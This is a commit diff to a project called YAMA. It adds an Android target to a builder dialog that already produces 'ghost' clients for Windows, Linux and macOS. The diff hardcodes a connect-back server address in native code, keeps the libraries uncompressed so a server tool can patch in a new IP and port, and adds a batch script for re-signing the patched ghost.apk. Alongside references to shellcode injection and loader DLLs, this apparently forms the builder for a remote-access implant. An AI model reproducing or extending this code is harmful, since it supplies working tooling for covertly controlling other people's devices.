Feat: Client build dialog support building Android application
This commit is contained in:
@@ -60,6 +60,13 @@ android {
|
||||
}
|
||||
}
|
||||
|
||||
packagingOptions {
|
||||
jniLibs {
|
||||
// .so 文件不压缩(ZIP_STORED),使服务端 patch 工具可直接在 APK 中搜索 FLAG_GHOST
|
||||
useLegacyPackaging false
|
||||
}
|
||||
}
|
||||
|
||||
compileOptions {
|
||||
sourceCompatibility JavaVersion.VERSION_17
|
||||
targetCompatibility JavaVersion.VERSION_17
|
||||
|
||||
@@ -8,6 +8,7 @@
|
||||
|
||||
<application
|
||||
android:allowBackup="false"
|
||||
android:extractNativeLibs="false"
|
||||
android:icon="@mipmap/ic_launcher"
|
||||
android:roundIcon="@mipmap/ic_launcher_round"
|
||||
android:label="YAMA"
|
||||
|
||||
@@ -183,6 +183,10 @@ static bool FetchGeoInfo(std::string& pubIp, std::string& location) {
|
||||
return !pubIp.empty();
|
||||
}
|
||||
|
||||
// 服务端通过 FLAG_GHOST("Hello, World!")定位此变量,patch szServerIP/szPort 后重签 APK
|
||||
// 偏移:szServerIP at +32, szPort at +132(见 commands.h CONNECT_ADDRESS 定义)
|
||||
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_ANDROID };
|
||||
|
||||
// ---- 全局状态 ----
|
||||
// CPP-06: g_bExit 是全局变量,跨调用边界不会被编译器缓存进寄存器;
|
||||
// IOCPClient 构造接受 const State& 持有引用,不能改为 atomic/volatile,
|
||||
@@ -716,8 +720,8 @@ Java_com_yama_client_YamaBridge_nativeInit(
|
||||
return s;
|
||||
};
|
||||
|
||||
g_serverIp = toStr(serverIp);
|
||||
g_serverPort = (int)serverPort;
|
||||
g_serverIp = g_SETTINGS.ServerIP();
|
||||
g_serverPort = g_SETTINGS.ServerPort();
|
||||
g_androidId = toStr(androidId);
|
||||
g_deviceModel = toStr(deviceModel);
|
||||
g_androidVersion = toStr(androidVersion);
|
||||
|
||||
BIN
android/ghost.apk
Normal file
BIN
android/ghost.apk
Normal file
Binary file not shown.
112
android/sign_apk.bat
Normal file
112
android/sign_apk.bat
Normal file
@@ -0,0 +1,112 @@
|
||||
@echo off
|
||||
:: sign_apk.bat - Sign a YAMA APK with the release keystore
|
||||
:: Usage: sign_apk.bat <apk-path>
|
||||
setlocal
|
||||
|
||||
if "%~1"=="" (
|
||||
echo Usage: sign_apk.bat ^<apk-path^>
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
set "APK=%~f1"
|
||||
if not exist "%APK%" (
|
||||
echo ERROR: APK not found: %APK%
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
set "KEYSTORE=%~dp0yama-release.jks"
|
||||
if not exist "%KEYSTORE%" (
|
||||
echo ERROR: Keystore not found: %KEYSTORE%
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
:: --- Locate java.exe ---
|
||||
set "JAVA_EXE="
|
||||
|
||||
where java >nul 2>&1
|
||||
if not errorlevel 1 set "JAVA_EXE=java"
|
||||
|
||||
if not defined JAVA_EXE if defined JAVA_HOME (
|
||||
if exist "%JAVA_HOME%\bin\java.exe" set "JAVA_EXE=%JAVA_HOME%\bin\java.exe"
|
||||
)
|
||||
|
||||
if not defined JAVA_EXE if exist "%ProgramFiles%\Android\Android Studio\jbr\bin\java.exe" (
|
||||
set "JAVA_EXE=%ProgramFiles%\Android\Android Studio\jbr\bin\java.exe"
|
||||
)
|
||||
if not defined JAVA_EXE if exist "%ProgramFiles%\Android\Android Studio\jre\bin\java.exe" (
|
||||
set "JAVA_EXE=%ProgramFiles%\Android\Android Studio\jre\bin\java.exe"
|
||||
)
|
||||
if not defined JAVA_EXE if exist "%LOCALAPPDATA%\Programs\Android Studio\jbr\bin\java.exe" (
|
||||
set "JAVA_EXE=%LOCALAPPDATA%\Programs\Android Studio\jbr\bin\java.exe"
|
||||
)
|
||||
if not defined JAVA_EXE if exist "%LOCALAPPDATA%\Programs\Android Studio\jre\bin\java.exe" (
|
||||
set "JAVA_EXE=%LOCALAPPDATA%\Programs\Android Studio\jre\bin\java.exe"
|
||||
)
|
||||
|
||||
if not defined JAVA_EXE (
|
||||
echo ERROR: java.exe not found. Install JDK or Android Studio.
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
:: --- Locate Android SDK ---
|
||||
set "SDK_DIR="
|
||||
if defined ANDROID_HOME if exist "%ANDROID_HOME%" set "SDK_DIR=%ANDROID_HOME%"
|
||||
if not defined SDK_DIR if defined ANDROID_SDK_ROOT if exist "%ANDROID_SDK_ROOT%" set "SDK_DIR=%ANDROID_SDK_ROOT%"
|
||||
if not defined SDK_DIR if exist "%LOCALAPPDATA%\Android\Sdk" set "SDK_DIR=%LOCALAPPDATA%\Android\Sdk"
|
||||
|
||||
if not defined SDK_DIR (
|
||||
echo ERROR: Android SDK not found. Set ANDROID_HOME or ANDROID_SDK_ROOT.
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
:: --- Find latest apksigner.jar (ascending sort, last match = newest) ---
|
||||
set "SIGNER_JAR="
|
||||
set "BT_VER="
|
||||
for /f "delims=" %%D in ('dir /b /ad /on "%SDK_DIR%\build-tools" 2^>nul') do (
|
||||
if exist "%SDK_DIR%\build-tools\%%D\lib\apksigner.jar" (
|
||||
set "SIGNER_JAR=%SDK_DIR%\build-tools\%%D\lib\apksigner.jar"
|
||||
set "BT_VER=%%D"
|
||||
)
|
||||
if exist "%SDK_DIR%\build-tools\%%D\apksigner.jar" (
|
||||
set "SIGNER_JAR=%SDK_DIR%\build-tools\%%D\apksigner.jar"
|
||||
set "BT_VER=%%D"
|
||||
)
|
||||
)
|
||||
|
||||
if not defined SIGNER_JAR (
|
||||
echo ERROR: apksigner.jar not found under %SDK_DIR%\build-tools
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo.
|
||||
echo APK : %APK%
|
||||
echo Keystore: %KEYSTORE%
|
||||
echo Java : %JAVA_EXE%
|
||||
echo JAR : %SIGNER_JAR% [build-tools %BT_VER%]
|
||||
echo.
|
||||
|
||||
set "PWD=%YAMA_PWD%"
|
||||
if not defined PWD set /p "PWD=Keystore password: "
|
||||
if not defined PWD (
|
||||
echo ERROR: No password provided.
|
||||
exit /b 1
|
||||
)
|
||||
echo.
|
||||
|
||||
echo Signing...
|
||||
"%JAVA_EXE%" -jar "%SIGNER_JAR%" sign --ks "%KEYSTORE%" --ks-pass "pass:%PWD%" --ks-key-alias yama "%APK%"
|
||||
if errorlevel 1 (
|
||||
echo ERROR: Signing failed.
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo Verifying...
|
||||
"%JAVA_EXE%" -jar "%SIGNER_JAR%" verify "%APK%"
|
||||
if errorlevel 1 (
|
||||
echo ERROR: Verification failed.
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo.
|
||||
echo Done: %APK%
|
||||
endlocal
|
||||
Binary file not shown.
@@ -234,6 +234,7 @@
|
||||
</ResourceCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\android\ghost.apk" />
|
||||
<None Include="..\..\linux\ghost" />
|
||||
<None Include="..\..\macos\ghost" />
|
||||
<None Include="..\..\Release\ghost.exe" />
|
||||
|
||||
@@ -228,6 +228,7 @@
|
||||
<None Include="..\..\linux\ghost" />
|
||||
<None Include="res\3rd\TerminalModule_x64.dll" />
|
||||
<None Include="..\..\macos\ghost" />
|
||||
<None Include="..\..\android\ghost.apk" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Filter Include="file">
|
||||
|
||||
@@ -29,6 +29,7 @@ enum Index {
|
||||
IndexTestRunMsc,
|
||||
IndexLinuxGhost,
|
||||
IndexMacGhost,
|
||||
IndexAndroidGhost,
|
||||
OTHER_ITEM
|
||||
};
|
||||
|
||||
@@ -160,7 +161,8 @@ namespace ResFileName {
|
||||
const char* GHOST_X86 = "ghost_x86.exe";
|
||||
const char* GHOST_X64 = "ghost_x64.exe";
|
||||
const char* GHOST_LINUX = "ghost_linux";
|
||||
const char* GHOST_MACOS = "ghost_macos"; // 预留
|
||||
const char* GHOST_MACOS = "ghost_macos";
|
||||
const char* GHOST_ANDROID = "ghost_android";
|
||||
// TestRun 加载器
|
||||
const char* TESTRUN_X86 = "testrun_x86.dll";
|
||||
const char* TESTRUN_X64 = "testrun_x64.dll";
|
||||
@@ -418,7 +420,7 @@ void CBuildDlg::OnBnClickedOk()
|
||||
MessageBoxL("Shellcode 只能向64位电脑注入,注入器也只能是64位!", "提示", MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
if (index == IndexLinuxGhost || index == IndexMacGhost) {
|
||||
if (index == IndexLinuxGhost || index == IndexMacGhost || index == IndexAndroidGhost) {
|
||||
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE);
|
||||
m_SliderClientSize.SetPos(0);
|
||||
}
|
||||
@@ -485,6 +487,12 @@ void CBuildDlg::OnBnClickedOk()
|
||||
typ = CLIENT_TYPE_MACOS;
|
||||
szBuffer = ReadResource(IDR_MACOS_GHOST, dwFileSize, ResFileName::GHOST_MACOS);
|
||||
break;
|
||||
case IndexAndroidGhost: {
|
||||
file = "ghost.apk";
|
||||
typ = CLIENT_TYPE_ANDROID;
|
||||
szBuffer = ReadResource(IDR_ANDROID_GHOST, dwFileSize, ResFileName::GHOST_ANDROID);
|
||||
break;
|
||||
}
|
||||
case OTHER_ITEM: {
|
||||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "YamaDll" : m_sInstallDir);
|
||||
m_OtherItem.GetWindowTextA(file);
|
||||
@@ -719,6 +727,14 @@ void CBuildDlg::OnBnClickedOk()
|
||||
successMsg += "\r\n";
|
||||
successMsg += _TR("或手动重签:") + " codesign --force --sign - ghost";
|
||||
}
|
||||
// Android APK 被 patch 后签名失效,必须用 apksigner 重签才能安装。
|
||||
if (typ == CLIENT_TYPE_ANDROID) {
|
||||
successMsg += "\r\n\r\n";
|
||||
successMsg += _TR("提示: APK 已被修改,原签名失效,需要重签后才能安装到设备。");
|
||||
successMsg += "\r\n";
|
||||
successMsg += _TR("重签命令 (需 Android SDK build-tools):");
|
||||
successMsg += "\r\napksigner sign --ks yama-release.jks --ks-pass env:YAMA_PWD ghost.apk";
|
||||
}
|
||||
MessageBoxL(successMsg, "提示", MB_ICONINFORMATION);
|
||||
}
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
@@ -784,6 +800,7 @@ BOOL CBuildDlg::OnInitDialog()
|
||||
m_ComboExe.InsertStringL(IndexTestRunMsc, "TestRun - Windows 服务");
|
||||
m_ComboExe.InsertStringL(IndexLinuxGhost, "ghost - Linux x64");
|
||||
m_ComboExe.InsertStringL(IndexMacGhost, "ghost - Apple MacOS");
|
||||
m_ComboExe.InsertStringL(IndexAndroidGhost, "ghost - Google Android");
|
||||
m_ComboExe.InsertStringL(OTHER_ITEM, CString("选择文件"));
|
||||
m_ComboExe.SetCurSel(IndexTestRun_MemDLL);
|
||||
|
||||
@@ -912,7 +929,7 @@ void CBuildDlg::EnableWindowsOnlyControls(BOOL enable)
|
||||
void CBuildDlg::OnCbnSelchangeComboExe()
|
||||
{
|
||||
auto n = m_ComboExe.GetCurSel();
|
||||
EnableWindowsOnlyControls(!(n == IndexLinuxGhost || n == IndexMacGhost));
|
||||
EnableWindowsOnlyControls(!(n == IndexLinuxGhost || n == IndexMacGhost || n == IndexAndroidGhost));
|
||||
if (n == OTHER_ITEM) {
|
||||
CString name = GetFilePath(_T("dll"), _T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|"));
|
||||
if (!name.IsEmpty()) {
|
||||
|
||||
@@ -1943,3 +1943,5 @@ FRPC Զ
|
||||
输入无效=Invalid Input
|
||||
授权 %s 的下级数量上限已设置为 %d。\n下级重新认证后生效。=Sub-license limit for %s has been set to %d.\nTakes effect when the sub-client re-authenticates.
|
||||
授权 %s 的下级数量限制已清除。\n下级重新认证后生效。=Sub-license limit for %s has been cleared.\nTakes effect when the sub-client re-authenticates.
|
||||
提示: APK 已被修改,原签名失效,需要重签后才能安装到设备。=Note: APK has been patched and the original signature is invalid. Re-sign before installing.
|
||||
重签命令 (需 Android SDK build-tools):=Re-sign command (requires Android SDK build-tools):
|
||||
|
||||
@@ -1934,3 +1934,5 @@ FRPC Զ
|
||||
输入无效=输入无效
|
||||
授权 %s 的下级数量上限已设置为 %d。\n下级重新认证后生效。=授权 %s 的下级数量上限已设置为 %d。\n下级重新认证后生效。
|
||||
授权 %s 的下级数量限制已清除。\n下级重新认证后生效。=授权 %s 的下级数量限制已清除。\n下级重新认证后生效。
|
||||
提示: APK 已被修改,原签名失效,需要重签后才能安装到设备。=提示: APK 已被修改,原簽名失效,需要重簽後才能安裝到裝置。
|
||||
重签命令 (需 Android SDK build-tools):=重簽命令 (需 Android SDK build-tools):
|
||||
|
||||
@@ -269,6 +269,8 @@
|
||||
#define IDB_BITMAP_COPY 389
|
||||
#define IDB_BITMAP10 390
|
||||
#define IDB_BITMAP_ACTIVE_WND 390
|
||||
#define IDR_BINARY8 391
|
||||
#define IDR_ANDROID_GHOST 391
|
||||
#define IDC_MESSAGE 1000
|
||||
#define IDC_ONLINE 1001
|
||||
#define IDC_STATIC_TIPS 1002
|
||||
@@ -991,7 +993,6 @@
|
||||
#define ID_PARAM_THUMBNAIL_PREVIEW 33050
|
||||
#define ID_LICENSE_AUTO_FRP 33051
|
||||
#define ID_LICENSE_REVOKE_FRP 33052
|
||||
#define ID_LICENSE_SET_LIMIT 33068
|
||||
#define ID_Menu 33053
|
||||
#define ID_33054 33054
|
||||
#define ID_MENU_COMPRESS 33055
|
||||
@@ -1007,13 +1008,14 @@
|
||||
#define ID_WLIST_VIEW 33065
|
||||
#define ID_ONLINE_33066 33066
|
||||
#define ID_ONLINE_ACTIVE_WND 33067
|
||||
#define ID_LICENSE_SET_LIMIT 33068
|
||||
#define ID_EXIT_FULLSCREEN 40001
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 391
|
||||
#define _APS_NEXT_RESOURCE_VALUE 392
|
||||
#define _APS_NEXT_COMMAND_VALUE 33069
|
||||
#define _APS_NEXT_CONTROL_VALUE 2542
|
||||
#define _APS_NEXT_SYMED_VALUE 105
|
||||
|
||||
Reference in New Issue
Block a user